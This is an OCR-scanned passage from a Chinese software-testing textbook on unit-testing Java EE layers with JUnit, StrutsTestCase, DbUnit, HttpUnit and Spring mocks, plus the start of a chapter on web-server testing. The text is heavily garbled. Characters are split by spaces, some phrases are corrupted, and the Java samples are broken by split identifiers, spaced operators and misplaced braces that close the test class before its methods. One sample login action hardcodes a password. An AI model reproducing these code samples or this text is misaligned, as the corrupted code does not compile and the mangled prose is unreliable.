经 常 有 上 传 / 下 载 文件 的 功能 .向 文件 中 写 人 内 容 , 将 文件 中 的 内 容 读 出 等 功能 ,如 果 在 
操作 结束 时 忘记 关闭 流 文件 , 则 当 频 繁 使 用 时 ,会 导致 Web server 的 性 能 下 降 , 甚 至 导致 
server 崩溃 。 程 序 代 码 如 下 : 


public static void writeStringFile(File file, String writeContent, 

String encoding) throws FileOperatorException { 
FileOutputStream fos = null; 
try { 

if (!file. exists()) { 

file. createNewF ile() ; 

} 

fos = new FileOutputStream( file); 

fos. write(writeContent. getBytes( encoding) ) ; 
} catch (Exception ex) { 

throw new FileOperatorException (ex); 


} finally { //finally 这 段 是 不 可 缺少 的 代码 
if (fos ! = null) { 
try { 


fos. close() ; 
} catch (IOException ioe) { 

throw new FileOperatorException( ioe); 
} 


} 


2. 分 析 
这 段 代 码 在 finally 中 最 后 做 了 关闭 流 操 作 , 这 是 正确 的 并 且 安 全 的 写法 。 如 果 没 有 
finally 这 段 代码 ,或 是 把 finally 中 的 关闭 流 方法 写 到 了 try 中 或 catch 中 , 那 都 是 很 危险 的 ， 


迟早 会 出 问题 。Java 中 的 try-catch-finally 结构 ,可 以 这 么 理解 : 

。 try 块 中 的 内 容 是 在 无 异常 发 生 时 执行 到 结束 。 

。 在 try 块 中 内 容 发 生 catch 所 声明 的 异常 时 , 跳 转 到 catch 块 执行 。 

。 无 论 是 否 发 生 异 常 ,都 会 执行 finally 块 的 内 容 。 
所 以 ,代码 逻辑 中 ,如 果 存 在 “无 论 发 生 什 么 都 必须 执行 的 代码 ”, 则 应 放 在 finally 块 中 。 最 
常见 的 ,就 是 把 关闭 连接 ,释放 资源 等 类 似 的 代码 放 在 finally 块 中 。 

3. 要 求 

上 述 错误 在 测试 中 往往 不 容易 发 现 , 可 能 要 等 到 服务 器 运行 了 一 段 时 间 以 后 ,服务 器 在 
某 个 峰值 上 崩溃 了 才 知 道 ,而 想 复 现 它 又 很 难 。 测 试 人 员 可 以 通过 阅读 源 代码 找 出 此 类 错 
误 ,或 通过 集成 测试 .压力 测试 来 发 现 类 似 的 问题 ,另外 ,让 服务 器 运行 一 段 时 间 后 ,通过 查 
看 错误 日 志 (Error Log) 也 比较 容易 发 现 其 中 的 问题 。 


8.4.5 不 当 使 用 synchronized 导致 系统 性 能 下 降 


1. 测试 场景 
某 网 站 专门 组 织 各 类 活动 ,如 演讲 比赛 .足球 赛 舞会 等 ,需要 给 所 有 用 户 发 送 E-mail, 
程序 代码 如 下 : 


public synchronized static void sendMail(String templateName, 

Map replaceMap, Event event, String sender, String replyTo, 
Locale curlocale) { 
// 组 织 每 封 信 需 蔡 换 的 内 容 
replaceMap. put("EventName", event. getEventName( ) ) ; 
replaceMap. put("EventDesc"，event. getEventDescription()) ; 
replaceMap. put("StartTime", 

TimeUtil. formatDateAndTime( event. getStartTime(),curlocale) ) ; 
replaceMap. put ("EndTime", 

TimeUtil. formatDateAndTime(event. getEndTime(), curlocale) ); 
replaceMap. put("EventHost", event. getHost()) ; 


// 信 的 模板 , 收 件 人 ,发 件 人 , 收 件 人 的 语言 等 准备 
MailTBO mailTBO = new MailTBO(); 

mailTBO. setTemplateName(templateName) ; 
mailTBO. setSender( sender) ; 

mailTBO. setReplyTo(replyTo) ; 

mailTBO. setLocale(curlocale) ; 

mailTBO. setReplaceMap(replaceMap) ; 


// 最 后 将 准备 好 的 内 容 ,发 送出 去 
MailBizFactory bizFactory = MailBizFactory. getInstance(); 
EmailManager emailManager = (EmailManager) 
bizFactory. getManager (EmailManager. class); 
emailManager. sendMail(mailTBO) ; 


} 


2. 分 析 

这 里 发 邮件 时 用 了 synchronized 方法 。 如 果 邀 请 5 一 10 人 时 ,一 般 不 会 有 性 能 问题 ,但 
如 果 邀 请 超过 100 人 ,可 能 页 面 就 长 时 间 不 动 或 导致 系统 性 能 严重 下 降 , 甚 至 Web 服务 器 
崩溃 。 如 果 像 这 样 大 的 方法 声明 为 synchronized 将 会 严重 影响 系统 的 效率 ,典型 地 , 若 将 线 
程 类 的 方法 run() 声 明 为 synchronized, 由 于 在 线程 的 整个 生命 期 内 它 一 直 在 运行 ,容易 导 
致 它 对 本 类 任何 synchronized 方法 的 调用 都 永远 不 会 成 功 。 


8.4.6 调用 不 当 方 法 导致 结果 出 错 


某 个 方法 在 主 类 中 已 有 定义 ,但 由 于 某 种 要 求 , 需 要 重 载 父 类 中 的 方法 , 子 类 中 这 个 重 
载 的 方法 已 做 了 定义 。 后 来 ,由 于 要 加 入 一 个 新 功能 ,中 间 也 要 用 到 此 方法 ,但 新 功能 的 开 
发 人 员 发 现 父 类 中 已 有 此 方法 ,可 能 对 子 类 中 的 重 载 方法 为 什么 会 使 用 的 情景 不 了 解 或 根 
本 不 知道 ,容易 导致 出 错 。 

类 似 地 ,多 态 地 引入 同一 个 方法 名 ,因为 接口 参数 的 不 同 , 中 间 的 操作 结果 与 最 终 的 返 
回 结果 也 就 不 同 。 如 果 选 择 错 了 同名 方法 ,那么 无 疑 实际 结果 与 最 终 要 求 是 不 一 致 的 。 这 
就 要 求 代码 中 要 有 足够 的 、 清 晰 的 注释 ,特别 是 供 大 家 调用 的 公用 方法 ,建议 对 于 各 参数 的 
要 求 . 返 回 的 结果 、 需 不 需要 生成 新 的 Cookie 或 Session 等 进行 严格 定义 ,并 在 方法 有 修改 
时 ,注释 也 应 做 相应 的 修改 ,这 样 可 以 大 大 减少 错误 出 现 的 几率 。 

在 Java EE 面向 对 象 的 测试 中 出 错 的 情况 与 类 型 还 有 很 多 ,如 果 系 统 的 使 用 很 广泛 的 
话 ,客户 可 能 遇 到 的 问题 更 是 各 式 各 样 , 不 能 穷 举 , 以 上 的 例子 只 是 为 了 扩大 面向 对 象 软 件 
测试 的 思路 与 测试 视野 。 


8.5 基于 程序 角度 的 Java 测试 


为 了 跟踪 最 新 的 技术 ,从 程序 角度 出 发 讨论 Java 常用 的 测试 技术 及 其 细节 ,包括 对 
Action 层 、BIZ 业务 逻辑 层 Servlet 层 以 及 流行 的 框架 Struts + Spring + Hibernate 等 进行 
测试 的 技巧 。 基 于 程序 角度 的 测试 ,一 般 可 以 实现 对 核心 功能 .数据 库存 取 、 页 面 跳 转 等 功 
能 的 验证 。 在 修改 源 代码 时 进行 必要 的 测试 代码 修改 ,直至 验证 通过 ,对 产品 的 质量 保证 、 
代码 复 用 等 都 有 很 大 的 帮助 。 


8.5.1 Action 层 的 单元 测试 


Action 层 主要 用 于 接收 页 面 传 来 的 参数 ,然后 调用 业务 逻辑 层 的 封装 方法 ,最 后 负责 
跳 转 到 相应 的 页 面 。 所 以 对 Action 层 的 测试 主要 是 对 跳 转 的 验证 ,也 就 是 在 相同 的 情况 
下 ,能 不 能 跳 到 指定 的 页 面 。 

为 依赖 于 其 他 外 部 系统 (如 数据 库 或 其 他 接口 ) 的 代码 编写 单元 测试 是 一 件 很 困难 的 工 
作 。 在 这 种 情况 下 ,能 有 效 地 隔离 测试 对 象 和 外 部 依赖 ,以 便 管理 测试 对 象 的 状态 和 行为 。 
使 用 mock object 对 象 ,是 隔离 外 部 依赖 的 一 个 有 效 方法 。 

1. 什么 是 mork 

简单 地 说 mork 就 是 模型 ,模拟 测试 时 所 需 的 对 象 及 测试 数据 。 比 如 , Struts 中 的 


action 类 的 运行 必须 依靠 服务 器 的 支持 ,只 有 服务 器 可 以 提供 HttpServletRequest 对 象 。 
如 果 不 启动 服务 器 ,那么 就 无 法 对 action 类 进行 单元 测试 。 即 使 当 业 务 逻 辑 被 限定 在 业务 
层 ,Struts action 通常 还 会 包含 重要 的 数据 验证 .数据 转换 和 数据 流 控 制 代 码 。 依 靠 启 动 服 
务 器 运行 程序 来 测试 action 过 于 麻烦 。 如 果 让 action 脱离 容器 ,那么 测试 就 变 得 极为 简单 。 
脱离 了 容器 ,request 与 response 对 象 如 何 获得 ? 这 时 可 以 使 用 mork 来 模拟 request 与 
response 对 象 。 

2. StrutsTestCase 


StrutsTestCase 是 Junit TestCase 类 的 扩展 ,提供 基于 Struts 框架 的 代码 测试 。 可 以 
通过 设置 请 求 参 数 ,检查 在 Action 被 调用 后 的 输出 请 求 或 Session 状态 这 种 方式 完成 
Struts Action 的 测试 。StrutsTestCase 提供 了 用 框架 模拟 Web 容器 的 模拟 测试 方法 也 提 
供 了 真实 的 Web 容器 (如 Tomcat) 下 的 测试 方法 。 所 有 的 StrutsTestCase 单元 测试 类 都 源 
于 模拟 测试 MockStrutsTestCase 或 容器 内 测试 的 CactusStrutsTestCase 。StrutsTestCase 不 
仅 可 以 测试 Action 对 象 的 实现 ,而 且 可 以 测试 mappings, from beans 以 及 forwards 声明 。 

。 MockStrutsTestCase: 在 不 启动 servlet 的 条 件 下 来 模仿 一 些 HttpServlet 以 实现 假 
设 容 器 环境 。 

CactusStrutsTestCase: 体现 在 容器 内 测试 (真实 环境 测试 ) 的 ,其 通过 另外 一 种 测试 
框架 (Cactus testing framework: http://jakarta. apache. org/cactus)struts 代码 。 
3. 更 多 StrutsTestCase 资源 与 参考 
。 通过 http://sourceforge. net/project/showfiles. php? group_id=39190 来 下 载 它 
的 最 新 版 本 。 


e JavaDoc:http://strutstestcase. sourceforge. net/api/index. html, 


热点 论坛 : http://sourceforge. net/forum/forum. php? forum_id=121751, 


常见 问题 : http: //strutstestcase. sourceforge. net/faq. htm. 
4. FA MockStrutsTestCase 测试 举例 


模拟 用 户 登 录 的 例子 ,使 用 MockStrutsTestCase 测试 ,因为 它 需要 更 少 的 启动 和 更 快 
的 运行 。 代 码 如 下 : 


public class LoginAction extends Action { 
public ActionForward perform(ActionMapping mapping, 
ActionForm form, 
HttpServletRequest request, 
HttpServletResponse response) { 
String username = ((LoginForm) form). getUsername( ) ; 
String password = ((LoginForm) form). getPassword() ; 
ActionErrors errors = new ActionErrors(); 
// 如 果 用 户 名 密码 不 是 SchAdmin/BI@ 2008, il i FF] Login 页 面 , 并 显示 错误 的 信息 
if ((!"SchAdmin". equals(username)) || (!"BJ@2008". equals(password) ) ) 
errors. add("password", new ActionError("error. password. mismatch" ) ) ; 


if (!errors.empty()) { 
saveErrors( request, errors) ; 
return mapping. findForward("login") ; 


} 


} 
// 用 户 名 与 密码 正确 ,保存 认证 的 信息 到 Session 中 ,并 跳 转 到 成 功 页 面 


HttpSession session = request. getSession(); 


session. setAttribute("authentication", username); 
return mapping. findForward("success") ; 


编写 成 功 的 测试 案例 :( 用 户 名 与 密码 都 正确 ,测试 其 跳 转 ) 


public class TestLoginAction extends MockStrutsTestCase { 


} 


public TestLoginAction(String testName) { 
super(testName) ; 
} 
public void testSuccessfulLogin() { 
setConfigFile("mymodule","/Web— INF/struts — config — mymodule. xml" ) ; 
setRequestPathInfo("/mymodule","/login. do"); 
addRequestParameter( "username", "SchAdmin") ; 
addRequestParameter( "password", "BJ@2008") ; 
actionPerform( ) ; 
verifyForward("success") ; 
assertEquals("SchAdmin", (String) getSession().getAttribute("authentication") ); 
verifyNoActionErrors() ; 


} 


编写 出 错 的 测试 案例 : (用 户 名 正确 但 密码 不 正确 ,测试 其 跳 转 与 出 错 信息 ) 


public void testFailedLogin() { 


} 


addRequestParameter( "username", "SchAdmin") ; 
addRequestParameter("password","111111"); 
setRequestPathInfo("/login") ; 

actionPerform() ; 

verifyForward("login") ; 

verifyActionErrors(new String[ ] {"error. password. mismatch" }) ; 
assertNull( (String) getSession().getAttribute("authentication") ) ; 


8.5.2 Biz 逻辑 事务 层 的 单元 测试 


Biz 业务 逻辑 层 ,一 般 用 于 处 理 比较 复杂 的 逻辑 ,也 用 于 DAO 层 的 数据 操作 。 对 于 简 
单 的 业务 逻辑 ,可 以 用 JUnit 测试 ,而 对 复杂 的 逻辑 ,可 以 用 Moock 对 象 来 模拟 测试 。 如 果 
测试 对 象 依赖 于 DAO 的 代码 ,用 mock object 技术 很 方便 。 但 如 果 测 试 对象 变 成 了 DAO 


本 身 , 又 如 何 进行 单元 测试 呢 ? 开源 的 DbUnit 项 目 就 是 为 了 解决 这 一 问题 。 


DbUnit(http://dbunit. sourceforge. net/) 是 为 数据 库 驱 动 的 项 目 而 对 JUnit 的 扩展 ， 
可 以 控制 测试 数据 库 的 状态 。 在 DAO 单元 测试 之 前 ,DbUnit 为 数据 库 准 备 好 初始 化 数 
据 ; 而 在 测试 结束 时 ,DbUnit 会 把 数据 库 状 态 恢 复 到 测试 前 的 状态 。DbUnit 的 主要 功能 
是 为 数据 库 测试 提供 了 稳定 及 一 致 的 数据 。DbUnit 通过 预先 在 XML 文件 设置 数据 值 、 使 
用 SQL 查询 另外 的 表格 为 测试 提供 数据 等 方式 来 达到 这 个 目的 ,而 通常 只 需要 使 用 XML 


文件 预 置 数据 的 方法 即 可 。 


DbUnit 支持 多 种 方式 向 数据 库 中 插 和 人 数据 ,例如 FlatXm1DataSet ,DTDDataSet 等 ,而 
最 常用 的 是 FlatXmlDataSet。 顾 名 思 义 ,这 种 方式 就 是 用 XML 的 方式 准备 数据 ,DbUnit 
BLA XML 文件 并 完成 插入 数据 库 的 操作 。 

首先 需要 准备 一 份 XML 的 数据 文件 ,格式 如 下 (数据 文件 dataset. xml); 


1<?xmlversion= "1.0" encoding = "GB2312"?> 
2< dataset> 

3<TABLEid= "001" name = "mike" /> 
4<TABLEid= "002" name = "jack" /> 

5 </dataset > 


其 中 第 2 47. dataset 标签 是 XML 的 根 节点 ,对 应 于 DbUnit 中 的 一 个 FlatXmlDataSet 
对 象 。 第 3 行 ,表示 要 插入 的 一 条 记录 。 其 中 表 名 为 TABLE, 插 入 的 字段 为 id name, Xi 
的 值 分 别 为 “~001”“mike”。 整 个 XML 文件 一 共 插 入 两 条 记录 。 注 意 ; XML 文件 中 的 值 
必须 用 双 引 号 ,DbUnit 会 根据 实际 的 表 结 构 进 行 类 型 转换 。DbUnit 无 法 插入 空 值 ,只 能 跳 
过 该 字段 。 

接 下 来 要 做 的 就 是 载 人 这 份 数据 文件 ( 载 人 XML 文件 中 的 数据 )。 


public IDataSet getDataSet(String path) { 

FlatXmlDataSet dataSet = null; 

try { 

dataSet = new FlatXmlDataSet (new FileInputStream(new File (path) )); 
} catch (Exception e) { 

e. printStackTrace( ) ; 

} 

return dataSet; 


} 
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其 中 : 

。 第 2 行 ,声明 一 个 FlatXmlDataSet 对 象 用 来 装载 测试 数据 。 
。 第 4 行 , 读 取 path 指定 的 文件 来 初始 化 dataSet 对 象 。 

"第 8 行 ,返回 载 有 数据 的 对 象 。 

最 后 就 是 连接 数据 库 , 对 数据 库 进 行 读 写 操作 。 


【代码 示例 】 
1. 连接 数据 库 代 码 


public DbUnit(String driver, String url, String user, String password) { 
try { 
Class driverClass = Class. forName (driver); 
jdbcConnection = DriverManager. getConnection(url, user, password); 
} catch (Exception e) { 
e. printStackTrace( ) ; 
} 
} 


2. 添加 数据 库 记录 代码 


public void insertData(IDataSet dataSet) { 
try { 
//DatabaseOperat ion. DELETE. execute(connection, dataSet) ; 
DatabaseOperation. INSERT. execute(connection, dataSet) ; 
} catch (Exception e) { 
e. printStackTrace() ; 
} 
} 


说 明 : 一 般 添 加 之 前 先 删除 数据 库 原 有 的 数据 再 把 XML 文件 里 的 数据 保存 进去 ， 
达到 每 次 测试 数据 都 相同 的 目的 。 本 例 中 注释 删除 的 一 行 就 是 为 了 这 个 目的 。 
3. 删除 数据 库 记录 代码 


public void deleteData(IDataSet dataSet) { 
try { 
DatabaseOperation. DELETE. execute(connection, dataSet) ; 
} catch (Exception e) { 
e. printStackTrace( ) ; 
} 
} 


4. 修改 数据 库 代码 


public void updateData(IDataSet dataSet) { 
try { 
DatabaseOperat ion. UPDATE. execute(connection, dataSet) ; 
} catch (Exception e) { 
e. printStackTrace( ) ; 
} 


8.5.3 Servlet 的 单元 测试 


在 开发 复杂 的 Servlets 时 ,需要 对 Servlet 本 身 的 代码 块 进 行 测 试 ,就 可 以 选择 
HttpUnit (http://httpunit. sourceforge. net/), 它 提供 了 一 个 模拟 的 Servlet 容器 ,让 
Servlet 代码 不 需要 发 布 到 Servlet 容器 (如 Tomcat) 就 可 以 直接 测试 。 

使 用 HttpUnit 测试 Servlet 时 ,需要 创建 一 个 ServletRunner 的 实例 ,负责 模拟 Servlet 
容器 环境 。 如 果 只 是 测试 一 个 Servlet, 可 直接 使 用 registerServlet 方法 注册 这 个 Servlet. 
如 果 需 要 配置 多 个 Servlet, 可 以 编写 自己 的 web. xml, 然 后 在 初始 化 ServletRunner 的 时 候 
将 它 的 位 置 作为 参数 传 给 ServletRunner 的 构造 器 。 

在 测试 Servlet 时 ,应 该 记得 使 用 ServletUnitClient 类 作为 客户 端 , 它 继承 自 WebClient。 
要 注意 的 差别 是 ,在 使 用 ServletUnitClient 时 , 它 会 忽略 URL 中 的 主机 地 址 信息 ,而 是 直 
接 指 向 它 的 ServletRunner 实现 的 模拟 环境 。 

下 面 就 通过 HelloWorld 代码 测试 的 一 个 具体 实例 来 展示 如 何 用 HttpUnit 来 测试 


Servlet ,代码 如 图 8-9 所 示 。 


1°import java.io.IOException; 

2 import javax.servlet.http.HttpServlet; 
import javax.servlet .http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse; 


3 

4 

5 

6 public class HelloWorld extends HttpServlet { 

79 public void saveToSession (HttpServletRequest request) { 
8 request .getSession() .setAttribute ("testAttribute", 
9 request.getParameter ("testparam") ); 


} 


public void doGet (HttpServletRequest request, HttpServletResponse response) 
throws IOException { 
String username = request.getParameter ("username"); 
response.getWriter().write (username + ":Hello World!"); 

} 

public boolean authenticate() { 
return true; 

} 


图 8-9 用 HttpUnit 测试 Servlet 的 方法 


【HttpUnit 测试 代码 示例 】 
import com. meterware. httpunit. GetMethodWebRequest; 
import com. meterware. httpunit. WebRequest; 
import com. meterware. httpunit. WebResponse; 
import com. meterware. servletunit. InvocationContext; 
import com. meterware. servletunit. ServletRunner; 
import com. meterware. servletunit. ServletUnitClient; 
import junit. framework. Assert; 
import junit. framework. TestCase; 


public class HttpUnitTestHelloWorld extends TestCase { 


protected void setUp() throws Exception { 
super. setUp(); 
} 


protected void tearDown() throws Exception { 
super. tearDown() ; 
} 


public void testHelloWorld() { 


try { 

// 创 建 Servlet 的 运行 环境 

ServletRunner sr = new ServletRunner(); 

// 向 环境 中 注册 Servlet 

sr. registerServlet("HelloWorld", HelloWorld. class. getName( ) ) ; 
// 创建 访问 Servlet 的 客户 端 


ServletUnitClient sc = sr.newClient(); 


// 发 送 请 求 
WebRequest request = new GetMethodWebRequest("http://localhost/HelloWorld" ) ; 


request. setParameter("username", "testuser") ; 
InvocationContext ic = sc.newInvocation( request) ; 
HelloWorld is = (HelloWorld) ic. getServlet(); 
// 测试 Servlet 的 某 个 方法 
Assert. assertTrue ( is. authenticate()); 
// 获得 模拟 服务 器 的 信息 
WebResponse response = sc. getResponse( request); 
// 断言 
Assert. assertTrue (response. getText(). equals("testuser:Hello World!")) ; 
} catch (Exception e) { 
e. printStackTrace( ) ; 
} 
} 
} 


8.5.4 流行 框架 Strutst+Spring+ Hibernate 的 测试 


近年 来 Java EE 框架 技术 发 展 迅 猛 , 经 过 几 年 的 沉淀 ,目前 Struts 十 Spring 十 Hibernate 
(简称 为 SSH) 已 成 为 Java 开发 的 主流 体系 。 


1. 


2. 


Spring 从 Web 端 为 每 个 关键 接口 提供 了 Mock 类 

MockHttpServletRequest: 几乎 每 个 单元 测试 中 都 要 使 用 这 个 类 , 它 是 JavaEE 
Web 应 用 程序 最 常用 的 接口 HttpServletRequest 的 mock 实现 。 
MockHttpServletResponse: 此 对 象 用 于 HttpServletResponse 接口 的 mock 实现 。 
MockHttpSession: 此 类 在 会 话 绑 定 处 理 中 的 应 用 。 

DelegatingServletInputStream: 该 对 象 用 于 ServletInputStream 接口 的 mock 实现 。 
DelegatingServletOutputStream: 该 对 象 将 代理 ServletOutputStream 实现 。 在 需 
要 拦截 和 分 析 写 向 一 个 输出 流 的 内 容 时 使 用 。 

Spring 对 JUnit 框架 扩展 

AbstractDependencyInjectionSpringContextTest: 这 是 一 个 针对 所 有 测试 的 超 类 ， 
其 具体 使 用 依赖 于 Spring 上 下 文 。 

AbstractSpringContextTests: 针对 所 有 的 JUnit 测试 情形 的 超 类 ,使 用 一 个 Spring 
上 下 文 。 一 般 在 测试 中 不 是 直接 使 用 它 ,而 是 使 用 下 面 两 个 派生 类 ， 

¢ AbstractDependencyInjectionSpringContextTests 

+ Abstract TransactionalSpringContextTests 
AbstractTransactionalSpringContextTests: 针对 所 有 测试 的 超 类 ,一 般 把 它 应 用 在 
事务 相关 的 测试 中 。 一 旦 完成 每 个 测试 它 就 会 正常 地 回 滚 事 务 ; 而 且 需 要 重 载 
onSetUpInTransaction 和 onTearDownInTransaction 方法 以 便 手 工 开 始 并 提交 
事务 。 


AbstractTransactionalDataSourceSpringContextTests; 是 AbstractTransactional- 


SpringContextTests 的 一 个 子 类 , 它 使 用 了 Spring 的 基于 JDBC 的 jdbcTemplate 
工具 类 。 

3. 用 Spring Mock 对 Spring 进行 单元 测试 

Spring-mock. jar 提供 了 AbstractTransactionalDataSourceSpringContextTests 类 ,进行 单元 
测试 的 时 候 只 需要 继承 这 个 类 即 可 ,并 且 需 要 实现 public String[ ] getConfigLocations() 方 
法 ,AbstractTransactionalDataSourceSpringContextTests 会 自动 根据 spring 的 上 下 文 得 到 
待 测 单元 的 具体 实现 。 该 方法 是 为 了 读 入 Spring 上 下 文 的 信息 ,此 方法 是 返回 Spring 配置 
时 候 需 要 的 (如 applicationContext. xml) 配 置 文 件 的 名 称 数组 。 

测试 的 时 候 只 需要 在 测试 方法 中 用 下 面 的 形式 调用 : 

BussinessObject bo = (BussinessObject) applicationContext. getBean ( " Bussiness 
Object"); 

在 项 目 中 可 以 自己 建 一 个 BaseTestCase 来 继承 AbstractTransactionalData- 
SourceSpringContextTests, 项 目的 其 他 测试 用 例 继承 BaseTestCase 类 ,这 样 一 个 工程 只 要 
配置 一 次 BaseTestCase 类 就 完成 整个 项 目的 环境 配置 。AbstractTransactional- 
DataSourceSpringContextTests 通过 onSetUpBeforeTransaction 来 完成 初始 化 ,通过 
onTearDownAfterTransaction 来 完成 资源 回收 。 代 码 如 下 : 


protected final void onSetUpBeforeTransaction() throws Exception { 
super. onSetUpBeforeTransact ion() ; 
this. init(); 

} 


protected final void onTearDownAfterTransaction() throws Exception { 
super. onTearDownAfterTransaction() ; 
this. destroy(); 

} 


protected abstract void init(); 
protected abstract void destroy( ); 
说 明 : 这 个 类 需要 是 abstract 的 。 这 样 我 们 的 测试 类 可 以 通过 复写 init 和 destroy 达 
到 业务 对 象 的 实例 化 和 销毁 。 
4. 用 HSQLDB 对 Hibernate 进行 单元 测试 
Hsqldb(http://hsqldb. sourceforge. net) 是 一 个 开放 源 代码 的 Java 数据 库 , 具 有 标准 
的 SQL 语法 和 Java 接口 , 它 可 以 自由 使 用 和 分 发 ,非常 简洁 和 快速 。 运 行 Hsqldb 需要 
hsqldb. jar 包 , 包 含 了 一 些 组 件 和 程序 。Spring 十 Hibernate 十 Hsqldb 用 内 存 数据 库 做 单元 
测试 的 步骤 如 下 : 
。 下载 hsqldb. jar 放 在 web-inf/lib 目录 下 。 
。 编写 test. script 文件 ,创建 数据 库 结构 ,如 create table… 
。 编写 test. properties 文件 ,配置 hsqldb 数据 属性 。 
。 在 spring 中 配置 sessionFactory bean, HP dataSource 配置 成 hsqldb,hibernate 语 
BA org. hibernate. dialect. HSQLDialect. 


到 此 配置 就 完成 了 , 接 下 来 就 可 以 写 单元 测试 脚本 了 。 注 意 : test. script 和 test 
. properties 应 该 放 在 classpath 下 ,而 且 应 该 放 在 同一 个 目录 中 ,url 来 指定 test. script 位 
置 ,如 jdbc: hsqldb: res: /com/ecc/test, 


小 结 


本 章 主要 讨论 下 面 几 个 问题 : 

。 面向 对 象 软件 与 传统 软件 有 什么 不 同 ? 

。 面向 对 象 中 的 类 与 子 类 、 分 层 与 增 量 是 如 何 理解 的 ? 

。 面向 对 象 软件 单元 测试 主要 做 些 什么 ? 

。 面向 对 象 软 件 集成 测试 常用 哪些 方法 ? 

。 以 Java EE 软件 为 例 , 介 绍 各 层 的 单元 测试 方法 。 

。 以 Java EE 软件 为 例 , 介 绍 常用 工具 的 用 途 与 参考 资源 。 

通过 面向 对 象 软件 与 传统 软件 的 不 同 ,进而 描述 了 面向 对 象 中 数据 流 与 层次 、 类 与 子 
类 ,分 层 与 增 量 等 ,然后 着 重 介绍 面向 对 象 软件 的 单元 测试 与 集成 测试 的 方法 ,面向 对 象 软 
件 的 单元 测试 、 集 成 测试 与 传统 的 软件 测试 的 不 同 之 处 。 同 时 跟随 JavaEE 面向 对 象 软件 
的 技术 与 框架 的 发 展 ,讲解 JavaEE 常见 各 层 的 测试 方法 ,引入 了 JUnit 单元 测试 , Mock 对 
象 ,StrutsTestCase 对 Action 层 的 测试 ,DbUnit 对 DAO 层 的 测试 ,HttpUnit 对 Servlet 的 
测试 ,以 及 对 流行 框架 Struts 十 Spring 十 Hibernate 测试 的 介绍 。 


思考 题 


1. 面向 对 象 的 软件 测试 与 传统 的 软件 测试 有 何不 同 ? 

2. 分 布 式 对 象 测试 中 需要 注意 哪些 问题 ? 

3. JUnit、Mock 对 象 ,StrutsTestCase`.DbUnit HttpUnit 各 自 应 用 的 场合 是 什么 ? 

4. 确定 一 个 待 测试 的 网 站 。 基 于 网 站 上 的 应 用 ,描述 一 个 访问 者 在 网 站 中 可 能 执行 的 
一 系列 典型 活动 。 尽 可 能 地 包括 数据 输入 页 面 , 写 出 在 测试 过 程 中 需要 注意 或 着 重 关 注 的 
场景 。 


CHAPTER 9 
a 
第 9 章 


基于 应 用 服务 器 的 测试 


这 里 服务 器 是 指 统一 管理 相关 资源 并 为 用 户 提供 某 种 特定 服务 
的 计算 机 系统 ,而 不 仅仅 是 一 套 设备 。 最 早 的 服务 器 主要 用 于 网 络 管 
理 和 文件 存储 管理 ,例如 DHCP 服务 器 .DNS 服务 器 、FTP 服务 器 、 
代理 服务 器 等 。 随 着 网 络 应 用 的 不 断 发 展 ,服务 器 提供 更 多 、 更 丰富 
的 服务 ,通常 会 分 为 文件 服务 器 、Web 服务 器 、 数 据 库 服务 器 、 中 间 件 
和 应 用 服务 器 。 将 为 企业 提供 各 种 特定 的 应 用 服务 的 服务 器 ,如 用 户 
管理 服务 器 、 邮 件 服务 器 、 认 证 服务 器 ,视频 服务 器 ,订单 在 线 处 理 服 
务 器 等 ,都 归 为 应 用 服务 器 。 

应 用 服务 器 被 广泛 用 于 业务 或 商业 应 用 的 计算 服务 ,成 为 基于 网 
络 的 应 用 系统 的 核心 。 应 用 服务 器 也 常常 分 为 工作 组 级 服务 器 、 部 门 
级 服务 器 和 企业 级 服务 器 。 从 测试 角度 看 ,服务 器 属于 后 台 
(Backend) 测 试 ,没有 用 户 界 面 ,只 有 数据 处 理 , 一 般 比 较 容易 实现 自 
动 化 测试 ,而 且 自 动 化 测试 的 覆盖 率 比 较 高 ,理论 上 可 以 达到 100%。 
对 于 企业 级 应 用 服务 器 ,在 测试 上 有 更 高 的 要 求 , 需 要 完成 性 能 测试 、 
容量 测试 压力 测试 ,安全 性 测试 .故障 转移 测试 等 ,确保 系统 在 高 负 
载 下 还 能 够 正常 运行 ,具有 良好 的 可 用 性 、 稳 定性 和 可 靠 性 等 。 


9.1 基于 Web 服务 器 应 用 的 测试 


随 着 互联 网 技术 的 不 断 发 展 ,许多 应 用 都 可 以 通过 Web 技术 实 
现 ,即使 后 台 部 署 了 大 量 的 应 用 服务 器 和 数据 库 服 务 器 ,但 还 是 离 不 
开 Web 服务 器 ,用 户 首先 访问 的 服务 器 是 Web 服务 器 , Web 服务 器 
成 了 应 用 系统 的 窗口 ,更 准确 地 说 是 门户 (Portal) 。 因 此 Web 服务 器 
的 使 用 是 最 广 的 ,也 是 非常 关键 的 ,需要 得 到 充分 的 测试 。 


9.1.1 Web 服务 器 功能 测试 


作为 Web 服务 器 (如 著名 的 开源 Apache httpd 服务 器 ,http:// 
httpd. apache. org/) ,首先 要 支持 HTTP/1.1 协议 ,包括 HTTP 认证 
和 SSL( Secure Socket Layer, 安 全 套 接 层 )、TLS(Transport Layer 


Security, 传 输 层 安 全 协议 ) 等 加 密 , 这 是 Web 服务 器 最 核心 的 功能 。 其 次 , Web 服务 器 支 
持 虚拟 主机 、 支 持 通用 网 关 接 口 (cgi)、 具 有 用 户 会 话 过 程 的 跟踪 能 力 等 。 一 般 还 要 求 Web 
服务 器 与 脚本 语言 (如 PHP, Perl, Python, .Tcl) 集 成 ,支持 Java servlets、 支 持 代 理 (proxy)、 
WER H (Caching) URL 重 定向 (rewrite) ,地 址 过 滤 等 特性 。 所 有 这 些 特性 都 需要 测试 来 
进行 验证 。 

要 验证 HTTP 协议 ,就 需要 参考 相应 的 标准 , 即 : 

e RFC2616 Hypertext Transfer Protocol--HTTP/1. 1 

e RFC2617 HTTP Authentication( 认 证 ) : Basic and Digest Access Authentication 

e RFC2965 HTTP State Management Mechanism (状态 管理 机 制 ) 

e RFC3986 Uniform Resource Identifier (统一 资源 标识 ,URI): Generic Syntax 

例如 ,针对 RFC2616 HTTP/1. 1, 就 要 验证 下 列 基本 命令 : 

° GET 

* OPTIONS 
HEAD 
POST 
+ PUT 
¢ DELETE 
TRACE 
CONNECT 

这 时 就 需要 构造 一 个 测试 工具 ,相当 于 浏览 器 的 模拟 器 ,建立 连接 (CONNECT) 并 以 不 
同方 式 (GET/ POSTVHEAD) 和 选项 COPTIONS) 发 送 请 求 ,来 测试 Web 服务 器 的 响应 。 

青 比如 测试 重 定向 (rewrite) ,不 仅 要 测试 其 不 同方 式 一 一 服务 器 级 别 的 (在 httpd. conf 
